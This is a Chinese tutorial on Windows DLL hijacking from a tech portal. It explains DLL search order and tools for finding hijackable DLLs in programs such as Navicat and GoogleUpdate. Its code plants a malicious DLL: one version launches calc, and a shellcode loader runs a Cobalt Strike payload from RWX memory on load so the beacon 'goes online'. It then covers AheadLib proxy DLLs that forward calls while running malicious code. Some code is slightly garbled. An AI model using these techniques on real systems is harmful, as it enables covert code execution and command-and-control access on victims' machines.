您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

从零开始学习 DLL 劫持

时间:2023-05-19 14:14:56  来源:  作者:合天网安实验室

DLL 劫持 DLL 简介

windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当我们执行某一个程序时,相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件,一个 DLL 文件也可能被不同的应用程序使用,这样的 DLL 文件被称为共享 DLL 文件。

DLL 加载顺序

如果程序需要加载一个相对路径的 dll 文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:

windows xp sp2 之前

Windows 查找 DLL 的目录以及对应的顺序:

  • 进程对应的应用程序所在目录;
  • 当前目录(Current Directory);
  • 系统目录(通过 GetSystemDirectory 获取);
  • 16 位系统目录;
  • Windows 目录(通过 GetWindowsDirectory 获取);
  • PATH 环境变量中的各个目录;
windows xp sp2 之后

Windows 查找 DLL 的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_macHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为 1

  • 进程对应的应用程序所在目录(可理解为程序安装目录比如 C:ProgramFilesuTorrent)
  • 系统目录(即 % windir% system32);
  • 16 位系统目录(即 % windir% system);
  • Windows 目录(即 % windir%);
  • 当前目录(运行的某个文件所在目录,比如 C:Documents and SettingsAdministratorDesktoptest);
  • PATH 环境变量中的各个目录;
windows 7 以上版本

从 Windows7 之后,微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL 写进了一个注册表项中, 该项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能从系统目录 SYSTEM32 目录下调用,其注册表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

自动化挖掘 批量寻找劫持

https://Github.com/wietze/windows-dll-hijacking

PLAINTEXT

1 Python/ target=_blank class=infotextkey>Python generate_pmc_files.py
单个查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

编译完成后,把 Prerequisites 文件夹里的内容拷贝至 ImpulsiveDLLHijack 项目里

PLAINTEXT

1 ImpulsiveDLLHijack.exe -path xxx.exe

这里使用 navicat 进行测试,可见运行的时候会加载 C:UsersdyyAppDataLocalProgramsPythonPython38soci.dll

使用 cs 生成恶意 dll,重命名为 oci.dll 后放置到该目录下

手动挖掘

Process Monitor 查找可用 dll,设置如下图所示

配置完可以保存导出配置,下次直接导入使用

使用 googleUpdate.exe 进行测试,运行程序 filter 加载所使用的 dll 文件

这里可以看出来,当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

编写一个基础的弹窗 dll

JAVA

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

#include <Windows.h>

#pragma comment(lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, Dword ul_reason_for_call, LPVOID lpReserved){

switch(ul_reason_for_call) {

caseDLL_PROCESS_ATTACH: //DLL首次被加载到内存时运行

caseDLL_PROCESS_DETACH: //DLL销毁时运行

caseDLL_THREAD_ATTACH: //DLL线程加载时运行

caseDLL_THREAD_DETACH: //DLL线程销毁时运行

break;

}

returnTRUE;

}

extern "C"__declspec(dllexport) int DllEntry(DWORD ArgList, int a2){

MessageBox(NULL, "I am DLL !", "DLL", MB_OK);

return0;

}

弹计算器

JAVA

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

// dllmain.cpp : 定义 DLL 应用程序的入口点。

#include "pch.h"

#include<stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch(ul_reason_for_call)

{

caseDLL_PROCESS_ATTACH:

system( "calc");

caseDLL_THREAD_ATTACH:

caseDLL_THREAD_DETACH:

caseDLL_PROCESS_DETACH:

break;

}

returnTRUE;

}

CS 上线

cs 生成 c 的 payload

生成的 payload 填入到下面相应的位置上

CPP

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

// 头文件

# include"pch.h"

# include<Windows.h>

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;

typedefvoid(__stdcall* JMP_SHELLCODE);

unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8";

DWORD WINAPI jmp_shellcode(LPVOID pPara)

{

LPVOID lpBase = VirtualAlloc( NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(lpBase, shellcode, sizeof(shellcode));

JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;

jmp_shellcode;

return0;

}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

// 入口函数

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)

{

if(dwReason == DLL_PROCESS_ATTACH)

{

DisableThreadLibraryCalls(hModule);

hThread = CreateThread( NULL, 0, jmp_shellcode, 0, 0, 0);

}

elseif(dwReason == DLL_PROCESS_DETACH)

{

}

returnTRUE;

}

运行 navicat 程序就会上线

DLL 转发劫持

有时候当我们替换 dll 后,虽然可以执行命令,但是会产生报错

这时候我们可以使用 AheadLib 工具,使恶意的 DLL 将原有的函数转发到原 DLL 中并且释放恶意代码

打开工具导入 dll 文件,会生成相应的 cpp 文件

直接转发函数,我们只能控制 DllMain 即调用原 DLL 时触发的行为可控

即时调用函数,可以在处理加载 DLL 时,调用具体函数的时候行为可控,高度自定义触发点,也称用来 hook 某些函数,获取到参数值



Tags:DLL 劫持   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除。
▌相关推荐
▌简易百科推荐
常用网络命令和符号篇 2.1学习 ping ipconfig arp start shutdown taskkill 命令学习要点: 1.测试IP连接:ping 2.查看IP配置:ipconfig 3.解析地址:arp 4.开启命令:start 5.关闭或重启...【详细内容】
2023-05-23  鱼跃刺桐  今日头条  Tags:网络命令   点击:(8)  评论:(0)  加入收藏
DLL 劫持 DLL 简介在 Windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当我们执行某一个程序时,相应的 DL...【详细内容】
2023-05-19  合天网安实验室    Tags:DLL 劫持   点击:(0)  评论:(0)  加入收藏
黑客是众所周知的入侵高手或“黑边”黑客。下面为大家来介绍黑客入侵技术的10种手段:诱导转向使用诱导转向入侵技术,黑客运行用户认为真实可信的恶意程序。在电脑上安装这类恶...【详细内容】
2023-05-16  py程序员高哥    Tags:黑客   点击:(17)  评论:(0)  加入收藏
渗透测试是指安全专业人员在企业的许可下,对其网络或数字化系统进行模拟攻击并评估其安全性。然而,很多企业在准备开展渗透测试工作时,他们对渗透测试服务的理解和需求,往往与现...【详细内容】
2023-05-16    安全牛  Tags:渗透测试   点击:(9)  评论:(0)  加入收藏
导语:最近恶意HTML附件数量猛增,攻击者仍然使用恶意的HTML文件进行攻击。这种方法多年来一直吸引着攻击者。安全研究人员最近进行的一项研究发现,网络犯罪分子正越来越多地使用...【详细内容】
2023-05-15  区块软件开发    Tags:钓鱼攻击   点击:(7)  评论:(0)  加入收藏
在黑客电影里,神秘的黑客们在键盘上十指如飞,电脑屏幕成串代码飞快刷屏,静静操纵影响世界的走向。在现实中,有一群白帽子黑客,与用技术恶意牟利的“黑帽子”相反,白帽子是正义的一...【详细内容】
2023-04-26    CSDN  Tags:白帽   点击:(30)  评论:(0)  加入收藏
理论基础溯源分析就是在通过现象去发掘恶意攻击者背后的故事,没有固定的套路可循,在分析过程中,要像侦探破案一样,大胆心细,不放过任何细枝末节,是一场人与人之间斗智斗勇的过程。...【详细内容】
2023-04-13  老李讲安全  今日头条  Tags:溯源   点击:(6)  评论:(0)  加入收藏
勒索软件变得越来越复杂和有效,使其难以检测和预防。通常用于支付赎金的加密货币的可用性,以及它们为攻击者提供的匿名性,也使得恶意行为者更容易参与勒索软件攻击。根据 AAG...【详细内容】
2023-04-03  祺印说信安  微信公众号  Tags:勒索软件   点击:(30)  评论:(0)  加入收藏
道德黑客工具和软件是由开发人员设计的计算机程序或复杂类型的脚本,由安全专业人员用于识别机器操作系统、web应用程序、服务器和网络中的弱点。如今,许多企业都依赖这种道德...【详细内容】
2023-03-21  浅谈一入  今日头条  Tags:黑客   点击:(81)  评论:(0)  加入收藏
零信任,作为近年来网络安全领域最为火热的技术之一,它的存在为组织网络架构和安全建设提供了新的思路和方向,“持续验证、永不信任”的零信任正在成为开拓新一代组织网络安全建...【详细内容】
2023-03-21  老李讲安全  今日头条  Tags:零信任   点击:(27)  评论:(0)  加入收藏
相关文章
    无相关信息
站内最新
站内热门
站内头条